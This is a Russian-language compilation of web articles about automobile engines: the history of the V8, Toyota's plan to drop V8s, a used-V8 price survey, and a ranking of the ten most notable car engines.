Что такое v8: V8 двигатель — это… Что такое V8 двигатель?

Содержание

V8 двигатель — это… Что такое V8 двигатель?

В 1910 году французский производитель De Dion-Bouton представил публике 7773-кубовый V8 для автомобиля. В 1912 году он был экспонатом выставки в Нью-Йорке, где вызвал неподдельный интерес у публики. И хотя сама фирма выпустила очень немного автомобилей с этим двигателем, в США идея V8 большого рабочего объёма «пустила корни» всерьёз и надолго.

Первым относительно массовым автомобилем с V8 стал 1914 года. Двигатель имел объём 5429 см³ и был нижнеклапанным, в первый же год было выпущено порядка 13 тысяч «Кадиллаков» с этим двигателем. GM, в 1916 году выпустил собственный V8 объёмом 4 литра. 1917 году, но в 1918 году фирма была включена в состав GM на правах подразделения и сосредоточилась на выпуске экономичных «народных» автомобилей, которым по понятиям тех лет V8 не полагался, так что производство двигателя было прекращено.

В сегмент недорогих автомобилей V8 перенесла фирма Ford с её Model 18 (1932). Технической особенностью двигателя этого автомобиля был блок цилиндров в виде одной чугунной отливки.

Это нововведение потребовало значительного усовершенствования технологии литья. Достаточно сказать, что до 1932 года создание подобного двигателя представлялось многим технически невозможным. V-образные двигатели тех лет имели отдельные от картера цилиндры, что делало их изготовление сложным и дорогостоящим. Двигатель модели 18 получил название Ford Flathead и выпускался до 1954 года, когда его сменил верхнеклапанный Ford Y-BLock.

Начиная с 1930-х годов двигатели конфигурации V8 получили с Северной Америке очень широкое распространение. Вплоть до 1980-х годов версии, оснащённые двигателями V8, имели североамериканские модели всех классов, кроме субкомпактов. В частности, на конец 1970-х годов, до 80% выпущенных в США легковых автомобилей имели двигатель конфигурации V8. Поэтому двигатели V8 как правило ассоциируются именно с северо-американской автомобильной промышленностью, значительная часть терминологии так же имеет американское происхождение.

В Европе же в довоенные и первые послевоенные годы такими двигателями оснащали преимущественно автомобили высших классов, собираемые в мизерных количествах вручную. Например Tatra T77 (1934-1938) имела 3,4-литровый V8 и была выпущена в количестве всего 249 единиц[1].

В 1950-е годы в производственной программе европейских производителей премиум-сегмента появляются серийные модели с V8, например, BMW 502 или Facel Wega Excellence (последняя имела американский двигатель производства Chrysler).

Примечания

  1. CARS & HISTORY: TATRA T77 & T77A (1933-1938).

Toyota откажется от двигателей V8 в течение трех лет — Авторевю

Фото: компания Toyota

По информации американского издания The Drive, Toyota готовится к прекращению производства восьмицилиндровых двигателей. Сейчас в гамме есть бензиновые атмосферники V8 семейства UR, которые устанавливают на автомобили Toyota Land Cruiser 200, Sequoia, Tundra и Century, а также модели Lexus GX 460, LX 570, RC F, GS F и LC 500. В течение трех лет почти все эти модели перейдут на разные модификации турбомотора V6 3.4: этот агрегат дебютировал еще три года назад, но пока применяется только на седанах Lexus LS 500. Такой двигатель точно достанется внедорожникам и пикапам следующих поколений, у легковых моделей Century и LC 500 он появится после плановой модернизации, а вот «заряженные» Лексусы RC F и GS F, скорее всего, уйдут в историю.

Toyota выпускает бензиновые «восьмерки» на двух заводах. Первым от них откажется американское предприятие в штате Алабама — ориентировочно через год—полтора. Здесь будет сделан запас двигателей на период переоснащения производства, после чего на конвейер встанет турбомотор V6. А уже следом будет остановлено производство на японском заводе Tahara, который также закроют на модернизацию.

Интересно, что Toyota так и не решилась на производство двигателей V8 с наддувом. Версия мотора V8 5.7 с приводным нагнетателем хоть и разработана подразделением Toyota Racing Development, но серийно такие агрегаты не выпускали: только в виде наборов для переделки атмосферников. Кстати, Toyota была единственным японским автопроизводителем который делал двигатели V10 (для купе Lexus LFA) и V12 (для седанов Toyota Century прошлого поколения), но эти направления уже давно закрыты.

Кроме того, Toyota выпускает в Японии турбодизели V8 серии VD для внедорожников Land Cruiser 70 и Land Cruiser 200. Информации об их судьбе пока нет, но велика вероятность, что они тоже уйдут в отставку.

легендарные модели ранних американских V8

Сегодня мы разберемся V8, от основ, до деталей, на примере 3 D-отпечатанного пластикового мотора, копии двигателя Chevrolet Camaro LS3.

Первое, о чем хотелось бы сказать — двигатель получил свое названием из-за 90-градусного развала цилиндров относительно коленчатого вала. В данном случае, угол между поршнями такого силового агрегата соответствует прямому, хотя на самом деле он может быть любым.

Цилиндро-поршневая группа

Количество цилиндров — 8. Счет рабочих цилиндров начинается с переднего правого и идет таким образом:

Двигатель V8 работает на основе базовых принципов обычного бензинового четырехтактного силового агрегата, со стандартным набором тактов: Впуск (бензин и воздух смешивается в цилиндрах) , Сжатие (происходит сжатие смеси до давления степени сжатия, происходит зажигание свечей) , Рабочий ход (движение поршня в сторону нижней мёртвой точки под давлением горячих газов, передаваемого поршнем через шатун коленчатому валу) , Выпуск (отработавшая смесь выводится из цилиндров) . 55 секунда видео.

Далее цикл повторяется. В двигателях V8 эти циклы проходят в восьми разных цилиндрах, в разное время работы мотора. Для мотора LS3, зажигание происходит по следующему порядку: 1-8-7-2-6-5-4-3. Важная деталь: каждый цилиндр активируется при каждом обороте коленчатого вала на 90-градусов, что означает, в каждое мгновение два цилиндра в работающем двигателе совершают Рабочий ход.

Обычный четырёхцилиндровый будет совершать в два раза меньше работы, только одним цилиндром, что делает работу последнего не такой гладкой, как мотора V8.

Газораспределительный механизм

Клапанный механизм. Впуск воздуха происходит из верхней части двигателя, сбоку крышки цилиндра. С противоположенной стороны через схожие отверстия в крышки цилиндров происходит удаление отработавших газов из цилиндров.

Как видно, в крышке цилиндров стоят по два клапана (один-впускной, одни-выпускной). В данном двигателе — больший клапан — впускной, меньшие — выпускной. приводятся в движение двумя распределительными валами, проложенными по центру крышек цилиндров. Принцип работы показан на 2:16 минуте видео.

На каждые два оборота коленчатого вала, распределительный вал делает один оборот.

Работа коленвала продемонстрирована на модели на 3 минуте видео. Обратите внимание, что на одну шатунную шейку коленвала, через шатунные подшипники установлено по два шатуна поршней. Также в видео акцентируется внимание на противовесах коленчатого вала и их форме, балансирующую систему от центробежных сил и инерции (3.30 минута видео). Помимо этого, в ролике говорится о том, что данный мотор, как и многие другие V8, имеет крестообразный коленчатый вал, который крайне выгодно сбалансирован по так называемым вторичным вибрациям, имеет компактную компоновку и очень выносливую основу.

И вообще, двигатели V8 отличаются крайне сбалансированной работой.

В минусы записывают: высокий центр тяжести, относительную сложность конструкции, больший вес.

Как всегда, я по полгода не появляюсь в ЖЖ. Но иногда стараюсь сюда постить.

Смотрите.

Я подобрал несколько реальных предложений с авто.ру. Подобрал с одной целью — узнать почем нынче самые дешевые машины (на ходу) с V8.

BMW 540i — 280 000 руб

4.4 Литра, V8, степень сжатия — 10, 286 л.с. при 5400 об/мин, 440 Нм.

Сложный двигатель М62TU30: блок из аллюминия, гильзы цилиндров из алюсила, 4 клапана на цилиндр и система VANOS.

Из интересного: для облегчения шатунно-поршневой группы, используется полый коленвал, клапанные крышки сделаны из магниевого сплава и вся система впуска — из пластика. Hi-Tech.

Land Rover Discovery — 140 000 руб

4.0 Литра, V8, 182 л.с., 320 Н/м.

Пусть это и не такой технологичный блок как у BMW но он успел обрости богатой гоночной историей и побывать примерно в 20 различных автомобилях, таких как Rover SD1, Morgan Plus 8, Land Rover Defender, TVR Chimaera.

Изначально, двигатель был разработан компанией General Motors и выпускался под маркой Buick. Блок двигателя аллюминиевый, также как и головки блока цилиндров. Мотор выпускался в разных вариациях (инжектор, карбюратор) и объемах — от 3,5 до 5 литров. Удивительно, что вес двигателя — всего 144 килограмма.

Cadillac Seville — 85 000 руб

4.6 Литра, V8, 295 л.с. при 5600 об/мин, 400 Нм

Двигатель этого «Кэдди» несет красивое название «Northstar L37». «Northstar» — это название заряженной комплектации всех Cadillac. Сам по себе, мотор проектировался в 80х кодах, с оглядкой на BMW и Lexus. Блок двигателя отлит из аллюминия, также как и ГБЦ. Двигатель также использует гильзы. Правда, не алюсиловые как у BMW, а простые — чугунные. По части привода клапанов этот двигатель похож на фигурантов этой статьи — 4 клапана на цилиндр с гидрокомпенсаторами.

Интересной фичей двигателя был режим «Limp home» (что-то вроде «лишь бы добраться до дома»). Умные «мозги» двигателя, при обнаружении отсутствия охлаждающей жидкости могли отключать одну из «половинок» двигателя (по 4 цилиндра слева или справа), ограничивать обороты, обогащать смесь и пр. . таким образом позволяя проехать без ОЖ около 100 миль (161 км). Зачем это нужно — не знаю. =)

Lexus LS (I) — 110 000 руб

4.0 Литра, V8, 245 л.с. при 5400 об/мин, 350 Н.м. Степень сжатия — 10.

Называется двигатель по простому — 1UZ-FE. Разработан Тойотой в 1989 году. Как и у остальных — 4 клапана на цилиндр, по два распредвала на 1 головку блока. Интересно, что изначально у двигателя были «спортивные» корни: так базовые размеры двигателя отличаются тем, что диаметр цилиндра больше хода поршня. На практике, обычно, это выражается в большей «оборотистости» мотора. Газораспределительных механизм приводится не цепью, как у BMW, а ремнем. Этот же ремень приводит и водяную помпу — решение знакомое мне по Porsche 944.

Вес двигателя — 174 кг. Блок и ГБЦ сделаны из аллюминия. В блоке установлены чугунные гильзы.

V8 — конфигурация, часто используемая в автомобильных двигателях большого рабочего объёма. Редкие V8 обладают рабочим объёмом менее четырёх литров. Максимальный же рабочий объём современных серийных V8 для легковых автомобилей достигает 8,5 литров. Получивший широкое распространение российский дизель ЯМЗ-238 имеет рабочий объём 14,9 л. На крупных тракторах и грузовых автомобилях встречаются двигатели V8 рабочим объёмом до 24 л.

V8 так же часто используется в высших эшелонах мотоспорта, особенно в США, где он обязателен в IRL , ChampCar и 2006 году Формула 1 перешла на использование безнаддувного двигателя V8 объёмом 2,4 литра взамен 3-литровых V10, с целью снижения мощности автомобилей.

Углы развала

Наибольшее число V8 использовали и используют угол развала в 90°. Такое расположение позволяет создать широкий, низкий двигатель с оптимальными поджигом смеси и низким уровнем вибраций.

История

Примечания

Поршневые двигатели и конфигурации двигателей
Одноцилиндровый · · · · · · · · · ·
2 · 4 · 6 · 8 · 10 · 12 · 16 · H
2 · · 5 · · · 10 · 12 · 16 · 18 · 20 · 24
W8 · 12 · 16 · 18
Другие однорядныеU-образный · · Со встречным движением поршней · X-образный
Иные типыHemi · Ротационный · Звездообразный · Роторный (Ванкеля) · Дельтаобразный · Роторно-лопастной · Свободно-поршневой

Wikimedia Foundation . 2010 .

  • Энгер
  • Цензура

Смотреть что такое «V8 двигатель» в других словарях:

    Двигатель Стирлинга — Двигатель Стирлинга … Википедия

    Двигатель Ленуара — в двух проекциях … Википедия

    Двигатель авиационный — тепловой двигатель для приведения в движение летательных аппаратов (самолётов, вертолётов, дирижаблей и пр.). С момента зарождения авиации и до конца Второй мировой войны единственным практически используемым Д.а. был поршневой двигатель… … Энциклопедия техники

    Двигатель (значения) — Двигатель многозначный термин. Двигатель устройство, преобразующее какой либо вид энергии в механическую. Двигатель (Воткинский район Удмуртии) деревня в Воткинском районе Удмуртской республики, в пригороде Воткинска. Двигатель (компания)… … Википедия

    двигатель с падающей характеристикой скорости — двигатель с сериесной характеристикой двигатель с мягкой характеристикой — [Я.Н.Лугинский, М. С.Фези Жилинская, Ю.С.Кабиров. Англо русский словарь по электротехнике и электроэнергетике, Москва, 1999 г.] Тематики машины электрические… …

    двигатель с цилиндрическим ротором — двигатель с гладким ротором неявнополюсный двигатель — [Я.Н.Лугинский, М.С.Фези Жилинская, Ю.С.Кабиров. Англо русский словарь по электротехнике и электроэнергетике, Москва, 1999 г.] Тематики машины электрические вращающиеся в целом Синонимы … Справочник технического переводчика

    ДВИГАТЕЛЬ СТИРЛИНГА — двигатель с внешним подводом теплоты, тепловой поршневой двигатель, в замкнутом объеме которого циркулирует постоянное рабочее тело (газ), нагреваемое от внешнего источника тепла и совершающее полезную работу за счет своего расширения. Изобретен… … Морской энциклопедический справочник

    ДВИГАТЕЛЬ ВНУТРЕННЕГО СГОРАНИЯ — ДВИГАТЕЛЬ ВНУТРЕННЕГО СГОРАНИЯ, широко используемый в машинах и мотоциклах двигатель, внутри которого горючее сгорает так, что выделяемые при этом газы могут производить движение. Бывает двух видов ДВУХТАКТНЫЙ или ЧЕТЫРЕХТАКТНЫЙ. В наиболее… …

    ДВИГАТЕЛЬ — ДВИГАТЕЛЬ (мотор), механизм, преобразующий энергию (такую как тепло или электричество) в полезную работу. Термин «мотор» иногда применяется к ДВИГАТЕЛЮ ВНУТРЕННЕГО СГОРАНИЯ (который преобразует тепло, вырабатываемое горящими газами, в возвратно … Научно-технический энциклопедический словарь

    двигатель — мотор, движок; движущая сила; болиндер, ветряк, пружина, рычаг, сердце, нефтянка Словарь русских синонимов. двигатель 1. мотор 2. см. рычаг Словарь синонимов русского языка. Практический справочник. М.: Русский язык … Словарь синонимов

    Двигатель судовой — энергосиловая машина, используемая для приведения в движение судна (главный двигатель) или для привода судовых электрогенераторов. На современных судах в качестве двигателя применяют дизели, паровые турбины и газовые турбины. Передача… … Морской словарь

01 TopEngines zr04–11

Приличные характеристики двигателя при скромном рабочем объеме уже не особенно удивляют. Мы начинаем привыкать к понятию , понимая, что эра двигателей большого литража постепенно уходит. А началось это, на мой взгляд, с дебюта в середине 1990-х годов наддувного мотора в 1,8 л, разработанного «Ауди». При умеренном рабочем объеме он должен был удовлетворить владельцев автомобилей самых различных классов. Поэтому даже в самой простой версии двигатель выдавал 148 сил, чего вполне хватало, чтобы превратить в маленькую зажигалку хэтчбек «СЕАТ-Ибица» и не заставлять гореть со стыда владельца престижного «Ауди-А6».

Собственно, литраж ничего не говорил о способностях агрегата. Это был небольшой (в том числе по габаритам — ставь его хоть вдоль, хоть поперек) шедевр своего времени: пять клапанов на цилиндр, изменяемые фазы на впуске, кованые алюминиевые поршни и, конечно, турбонаддув.

С его помощью мощность мотора поднимали все выше и выше, дойдя в спецверсии «Ауди-ТТ кваттро Спорт» до 236 сил. Данный предел был обусловлен лишь спецификой дорожного автомобиля. В гоночной формуле «Палмер Ауди», где ресурс не так важен, с новым блоком управления и агрегатом наддува с 1800-кубового двигателя сняли 365 сил. В Формуле-2, превращая серийный двигатель в чисто гоночный агрегат, достигли и вовсе фантастических 480 сил. Поэтому переход Формулы-1 на «шестерки» объемом 1,6 л в свете достижений мотора «Ауди» не выглядит абсурдным.

9-е место: верность ротору

02 TopEngines zr04–11

Исключительный случай — когда автомобильная компания прочно ассоциируется с одним типом двигателя. Конечно, «Мазда» не сама изобрела роторно-поршневой двигатель Ванкеля. Зато она в труднейшие времена энергетического кризиса 1970-х пересилила обстоятельства: не бросила, как другие, эту весьма сложную в доводке конструкцию, а продолжила совершенствовать «Ванкель» в узком, зато перспективном для имиджа сегменте форсированных спортивных машин. Хотя первоначально планировалось, что все модели «Мазды», вплоть до грузовиков и автобусов, перейдут со временем на .

Когда в 1975 году двухсекционный мотор с индексом 13В появился на серийных машинах, никто не мог предположить, что он станет самым массовым РПД в мире и продержится в производстве более 30 лет. Более того, даже современный маздовский РПД «Ренезис» — лишь результат эволюции 13B. Именно этот мотор стал проводником в серию большинства впервые примененных на РПД новинок, которые и обеспечили ему столь долгую жизнь, — настроенного впуска с изменяемой геометрией, электронного впрыска топлива, турбонаддува. В итоге мотор, который начал жизнь под капотом утилитарного пикапа с мощности чуть больше 100 сил, превратился в короля автогонок, выдававшего даже в серийном варианте минимум 280. Повышенный расход топлива и большой угар масла — неизбежные проблемы любого РПД — были оправданной расплатой за скромный вес, низкий центр тяжести и способность крутить свыше 10 тысяч оборотов в минуту. Маздовские купе доминировали в американских кузовных чемпионатах на протяжении 1980-х годов во многом благодаря роторно-поршневому мотору 13B.

8-е место: «восьмерка» планеты Земля

03 TopEngines zr04–11

Любой, кто хоть немного интересуется американским автомобилестроением, наверняка слышал о «восьмерке» «Шевроле» семейства Small Block . Неудивительно, ведь ее в почти неизменном виде можно было встретить на различных моделях концерна «Дженерал моторс» с 1955 по 2004 год. Долгая карьера сделала этот нижневальный двигатель самым распространенным V8 на Земле. Small Block первого поколения (не путать с аналогичными моторами второй и третьей генераций серий и LS!) выпускается и сейчас, правда, только на рынок запчастей. Общее число изготовленных моторов превысило 90 миллионов.

Не стоит соотносить слово Small с небольшим литражом двигателя. Рабочий объем «восьмерки» никогда не опускался ниже 4,3 л, а в лучшие времена достигал 6,6 л. Свое имя мотор получил за небольшую высоту блока, обусловленную соотношением диаметра цилиндра и хода поршня: на первом образце 95,2х76,2 мм. Такая короткоходность обусловлена техзаданием: новую «восьмерку» следовало вписать под низкий капот родстера «Шевроле-Корвет», который до этого едва не лишился спроса из-за слабой для него рядной «шестерки». Не появись этот мощный V8, подхлестнувший интерес к первому массовому американскому спорткару, «Корвет» вряд ли пережил бы середину 1950-х.

Вскоре удачного шевролетовского «малыша» назначили базовой «восьмеркой» для всего GM, хотя двигатели V8 собственной конструкции были у каждого отделения концерна. Простой, надежный и неприхотливый мотор пережил все уровни признания: участвовал в гонках, трудился в качестве движущей силы катеров и изредка монтировался даже на легкие самолеты. И хотя в последние годы полноценной жизни двигателя его предлагали только для пикапов и фургонов, все автомобильные фанаты знали, что именно этот заслуженный V8 когда-то был рожден для спасения «Шевроле-Корвет».

7-е место: единственный в своем роде

04 TopEngines zr04–11

Какой же рейтинг моторов обойдется без БМВ! Марка попала бы в наш перечень уже за исключительную приверженность рядной «шестерке» — когда-то такая компоновка легковых двигателей была широко распространена. Помимо баварцев, на легковых машинах (вседорожники и пикапы не в счет) ее применяют сейчас только «Вольво» и австралийский филиал «Форда» (остальные сдались в пользу менее уравновешенного, зато гораздо более компактного V6). Но БМВ стоит особняком: только эта компания смогла выжать из расположенных в ряд шести цилиндров все преимущества — от потрясающе плавной работы до способности легко раскручиваться до самых высоких оборотов.

С каждым поколением, начиная с «шестерки» БМВ образца 1968 года, которую получили, добавив пару цилиндров к уже выпускавшейся «четверке», эти двигатели становились легче, мощнее, совершеннее. Многоцилиндровые схемы для баварцев были практически под запретом — первый V12 появился лишь в 1986 году, а V8 вообще только в 1992-м. Создание этих двигателей легче оправдать маркетингом, нежели истинной любовью инженеров — они всю душу и умение вкладывали именно в шесть расположенных в ряд цилиндров.

Апофеоз атмосферной «шестерки» БМВ — мотор S54 образца 2000 года, предназначенный для М3. Это гимн совершенству гоночного по сути двигателя, водруженного на гражданский автомобиль. Тяжелого на подъем вначале, но расцветающего при малейшем намеке на спортивный стиль езды. С 3,2 л рабочего объема сняли 343 силы (с литра — 107) — для атмосферного мотора даже сейчас великолепный результат.

Его было бы трудно достичь без применения всех новейших на тот момент технологий — индивидуальных дросселей на каждый цилиндр с электронным управлением, системы регулирования фаз, причем как впуска, так и выпуска. Чтобы мотор выдерживал любые нагрузки, его даже перевели на чугунный блок цилиндров, что для БМВ редкость.

К сожалению, следующее поколение M3 отказалось от семейных ценностей в пользу V8. Это тоже очень неплохой мотор — но радость от укрощения разъяренного зверя ушла вместе с прежней «шестеркой». Подобные ей двигатели в нынешних условиях считаются, как бы точнее сказать, неполиткорректными.

6-е место: легенда гонок

05 TopEngines zr04–11

Последние образцы настоящего V8 «Хеми» собрали в 1971 году (современное одноименное семейство не имеет с ним ничего общего), но еще более четверти века этот двигатель служил любимой игрушкой любителям . Мотор, появившийся в 1964 году как чисто гоночный для серии NASCAR, был идеальным образцом спортивного V8 (рабочий объем 7 л, или 426 куб. дюймов по американской системе, стандартная мощность 425 сил) с минимальным применением сложных технологий: нижневальный, с двумя клапанами на цилиндр.

Важнейшим отличием от конкурентов стала полусферическая (отсюда «хеми», происходит от HEMIspherical — «полусферический») камера сгорания, позволившая оптимизировать процесс — получить большую мощность при меньшей степени сжатия. Впрочем, это тоже изобрел не «Крайслер». Его заслуга в том, что на основе известной технологии он создал непобедимый мотор , отличавшийся помимо характеристик еще и нереальной прочностью, способный выдержать самые ужасные методы форсировки. Недаром «Хеми» весил заметно больше, чем любой другой V8 начала 1960-х, — почти 400 кг. Но это обстоятельство совершенно не мешало автомобилям с 426-м «Хеми» уверенно громить соперников в гонках.

Гегемонию крайслеровского мотора не раз пытались ограничить — переписывая правила, изменяя количество требуемых для омологации серийных моторов, но он не сдавался и удерживал лидирующие позиции в NASCAR вплоть до 1970-х годов. К тому времени он стал не только спортивной, но и уличной легендой: серийные машины, снабженные дорожной версией «Хеми», выпускались в мизерных количествах — их сделали не более 11 тысяч, причем и эту малость распределили среди нескольких моделей «Доджа» и «Плимута». Ныне автомобили с оригинальным «Хеми», несмотря на примитивную конструкцию, стоят бешеные деньги — легенда пошла на новый круг.

5-е место: сложнее не бывает

06 TopEngines zr04–11

Самый необычный и амбициозный проект двигателя уникальной компоновки W16 выпестовали ради возрожденной марки «Бугатти» . На самом деле этот двигатель, за исключением грандиозной мощности в 1001 л.с., является логичным развитием семейства компактных VR-образных моторов «Фольксвагена». Они отличались критически малым углом развала цилиндров — всего 15 градусов, что позволяло использовать на оба ряда одну головку. Мотор VR6 появился на «фольксвагенах» еще в 1991 году. Американский рынок требовал машин с шестью цилиндрами, и немцы умудрились выйти из положения, применив оригинальную схему, позволявшую без увеличения подкапотного пространства легко втиснуть «шестерку» (как вдоль, так и поперек) взамен стандартных четырех цилиндров.

Позже удачная находка получила развитие в более крупных масштабах. Амбиции Фердинанда Пиха, желавшего сделать «Фольксваген» топ-брендом, привели к созданию W8, представлявшего собой два VR4, установленных на общий картер под углом 72 градуса. Появился W12, «собранный» из двух VR6. Но мотор «Бугатти» даже в этой компании стоит особняком. Перед его создателями стояла задача почти неразрешимая — выдать рекордную мощность при минимальной массе. Поэтому мотор даже при схожей схеме получился иного уровня — сделанный на грани инженерного безумства. Конструкторы максимально уплотняли пространство вокруг двигателя. Блоки двух VR8 развалили под углом 90 градусов, разместив между ними сразу четыре турбонагнетателя.

Серьезная проблема возникла с охлаждением — решая ее, только для одних интеркулеров предусмотрели 15 л охлаждающей жидкости. Обычно данного количества хватало на весь мотор. Но «Вейрон» не вписывался в стандартные схемы — на охлаждение его двигателя в предельных режимах работали три отдельных радиатора, перегоняя 40 л антифриза. Возникли сложности с диагностикой, ведь определить сбои в одном из 16 цилиндров на слух практически невозможно. Поэтому мотор оснастили системой самодиагоностики, способной оперативно решать проблему, вплоть до отключения проблемного цилиндра.

А теперь самое интересное. При всей сложности и грандиозности замысла (одних только клапанов — вдумайтесь! — 64 штуки) создателям удалось удержать массу W16 в пределах 400 кг. Финансовый фактор при создании этого двигателя не имел почти никакого значения, поэтому титановые шатуны или полностью алюминиевый масляный насос для мотора «Бугатти» в порядке вещей.

4-е место: основоположник американской мечты

07 TopEngines zr04–11

Теперь о воплощении одной из последних замечательных идей Генри Форда, перевернувшей автомобильный мир. До него никто не предполагал, что массовый автомобиль можно запросто комплектовать престижной и мощной «восьмеркой», которая считалась принадлежностью лишь дорогих, роскошных машин. Появившийся в 1932 году фордовский V8 кардинально изменил на последующие полвека представление об автомобилях из-за океана. Они и до того заметно превосходили по размерам европейские модели аналогичной стоимости, а появление массового V8 окончательно развело процесс развития автомобилестроения на разных берегах Атлантики в противоположных направлениях.

Но как Генри Форду удалось снизить себестоимость довольно-таки сложного и массивного агрегата до уровня ширпотреба? О, здесь была масса ухищрений. К примеру, оба блока цилиндров и картер в фордовском V8 отливали как единую деталь. У «восьмерок» старой школы это были как минимум три отдельных элемента, скреплявшихся воедино болтами. Коленчатый вал, вместо того чтобы ковать, отливали с последующим термоупрочнением, что также снижало себестоимость.

Распредвал располагался в блоке, клапаны и выпускная система размещались внутри развала цилиндров — это упрощало конструкцию двигателя, однако приводило к перегреву при малейших проблемах с охлаждением. Даже в начальном варианте «восьмерка» при рабочем объеме 3,2 л выдавала приличные 65 сил, что быстро сделало «Форд- » любимцем гангстеров и полиции. Джон Диллинджер и Клайд Берроу в перерывах между кровавыми делами умудрились черкнуть пару строк Генри Форду с благодарностью за столь быстрый автомобиль.

Когда у первых V8 наступил пенсионный возраст, они оказались в руках молодых людей, творивших на их базе диковинные тачки по кличке «хот-род». Простая, мощная и легко поддающаяся форсировке фордовская «восьмерка» поспособствовала рождению сверхпопулярной автоконтркультуры. Ну а сама фирма отправила мотор на пенсию лишь в 1953 году, когда восьмицилиндровые двигатели в американских машинах стали уже повсеместным явлением.

3-е место: изменивший сознание

08 TopEngines zr04–11

В 1993 году в недрах исследовательского подразделения «Тойоты» была создана группа по разработке перспективных машин с минимальными выбросами, которые смогли бы занять нишу между традиционными машинами с ДВС и электромобилями. Результатом стала появившаяся в 1997 году «Тойота-Приус» — первый массовый автомобиль с гибридным приводом . Тогда он воспринимался как любопытный эксперимент, игрушка, продаваемая заведомо в убыток, которая вряд ли выйдет за пределы обожающих экзотику Японских островов. Но «Тойота» строила более серьезные планы.

Коренное отличие «Приуса» от прочих гибридных машин, уже существовавших в то время (речь идет о множестве экспериментальных и чуть раньше вышедшей на рынок серийной «Хонде-Инсайт»), заключалось в новом подходе к построению подобной модели. «Приус» создавали как гибрид с самого начала , без упрощений и компромиссов вроде заимствования кузова у традиционной модели или использования обычной механической коробки передач (как было сделано на «Инсайте»).

«Тойота» внедрила гибридную трансмиссию как неотъемлемую часть машины. Даже 1,5-литровый бензиновый двигатель специально модифицировали для работы с электромотором, переведя его на цикл Аткинсона, отличающийся укороченным тактом сжатия за счет увеличенной продолжительности открытия впускных клапанов. Это позволило получить необычно высокую степень сжатия (13–13,5) и дополнительные плюсы в копилку экономичности и экологичности.

Расплатой стала полная беспомощность ДВС на низких оборотах, но для гибрида, который всегда располагает поддержкой электродвигателя, это не проблема. Такой комплексный подход в итоге сделал «Приус» законодателем моды на гибриды. Он стоял в начале процесса, который уже не остановить.

2-е место: любимец всех континентов

09 TopEngines zr04–11

Что сказать про этот воздушник от «Фольксвагена»? Он так же легендарен, как и «Жук» — автомобиль, под который его сделали. Даже больше — ведь одним «Жуком» область применения данного мотора далеко не ограничивалась. Простой, надежный и легкий, четырехцилиндровый оппозитник воздушного охлаждения оказался столь эффективным, что его популярность намного превзошла признание даже самого распространенного в мире автомобиля.

С той поры, как благодаря таланту Фердинанда Порше первые образцы мотора в 1933 году появились на прототипах «Жука», он перепробовал десятки профессий. Достаточная мощность (довоенные образцы выдавали минимум 24 силы, а самые мощные под конец серийного выпуска утроили этот показатель), беспроблемное в любом климате воздушное охлаждение и небольшая масса (цилиндры алюминиевые, картер — из магниевого сплава) позволили фольксвагеновскому мотору найти массу занятий. Он служил на амфибиях вермахта, примешивал свой выхлоп к запаху марихуаны в микробусах хиппи, приводил пожарные насосы, компрессоры, лесопилки, стал основой прогулочных багги и понтовых трайков, взмывал в небо более чем на 40 типах самолетов. И это далеко не полный список его талантов. Еще важнее, что именно из этого двигателя выросло семейство оппозитников «Порше».

На протяжении всех лет производства (моторы семейства окончательно прекратили выпускать только в 2006 году) принципиальная схема двигателя не менялась. Рос рабочий объем, на некоторых версиях применили впрыск топлива, но изначальная схема со штанговым приводом клапанов оставалась такой же, как на первых образцах 1930-х годов. Он радует сердца автомобилистов, да и не только их, более 70 лет — это ли не лучший показатель совершенства мотора?

1-е место: первый массовый

10 TopEngines zr04–11

С «Форда-Т» и его двигателя начал раскручиваться маховик массовой автомобилизации. Больше того, именно мотор «тэшки» стал в свое время самым распространенным ДВС в мире, с ним познакомилось подавляющее большинство жителей земного шара. Как и в случае с описанным выше оппозитником «Фольксвагена», мотор «Форда-Т» приводил не только одноименный автомобиль, которых с 1908 по 1927 год было построено более 15 миллионов.

Трактора, грузовики, моторные лодки, походные электростанции — он применялся везде, где была нужда в дешевом и простом в обращении моторе. Что касается автомобилей, то в какой-то период до 90% машин, колесивших по Земле, были одной-единственной модели Т. И приводил их этот самый двигатель необычно большого по сегодняшним меркам рабочего объема 2,9 л — при скромной мощности 20 сил. Но мощность тут была не принципиальна. Гораздо важнее крутящий момент и всеядность — помимо бензина «тэшку» официально разрешалось заправлять керосином и этанолом. Двигатель удивительно прост. Собранный в одном блоке с двухступенчатой планетарной коробкой передач, четырехцилиндровый мотор делил с трансмиссией смазочное масло. Никакого давления в системе не создавалось, смазка осуществлялась разбрызгиванием. Водяную помпу через год производства отправили в отставку — Генри Форд решил, что дешевому автомобилю достаточно простого термосифонного принципа, когда жидкость циркулирует благодаря разности температур. С другой стороны, фордовский мотор необычен для своего времени тем, что его блок и картер отливались как одно целое, а головка цилиндров впервые в мировой практике была сделана отдельной деталью. Но это дань массовости производства: ни один автомобиль в мире не выпускали в таких масштабах, как «Форд», поэтому его конструкция изначально рассчитана на максимально быструю и простую сборку . Двигатель «тэшки» надолго пережил сам автомобиль. Последний экземпляр собрали в августе 1941 года. Он останется в истории как первый массовый ДВС человечества.

Audi RS 7 Sportback Performance

Спортэкспресс

Похоже, Audi сумела выиграть извечную гонку вооружений среди большой «Немецкой тройки»! Потому что сегодня ни BMW, ни Mercedes-Benz не строят такие мощные бензиновые моторы V8. Хотя рабочий объем «восьмерки» Audi и не поражает (4 л), за счет двойного турбонаддува с этого литража немцы сняли 605 л.с. и крутящий момент в 700 Нм, который может кратковременно подниматься до 750 Нм.

Логично, что и ставят этот мотор только на топовые модели и только в «заряженных» исполнение. Так, здоровенный флагманский седан S8 plus от инъекции 605 «коней» обретает легкость, начинает носиться со скоростью под 305 км/час и загонять стрелку спидометра до 100 км/час за 3,8 секунды. И даже не думают отставать от него хэтч и универсал , которые «добегают» до 100 км/час даже быстрее — всего за 3,7 секунды.

Жги, Италия!

Иногда вспоминание хорошо забытого старого помогает вдохнуть жизнь в новое. Вот и в Ferrari недавно вспомнили, что в 80-е годы у них была центральномоторная 208 GTB/GTS Turbo с турбонаддувом, а в 90-е — не менее турбонаддувная F40. И вот в 2015 году компания из Маранелло выкатила на Женевский автосалон наследника своих турбомашин, назвав его 488 GTB. И переход на турботягу вдохнул новые силы в «восьмерки» от Ferrari.

В этом году установленный на 488 GTB V8 стал мотором года, собрав целый урожай наград. Он стал лучшим в номинациях «Новый двигатель», «Спортивный двигатель» и «Двигатель объемом от 3 до 4 л». Кроме того, он завоевал звание «двигателя года», опередив гибридную силовую установку от BMW и турбированный V6 Porsche, которые заняли второе и третье места соответственно.

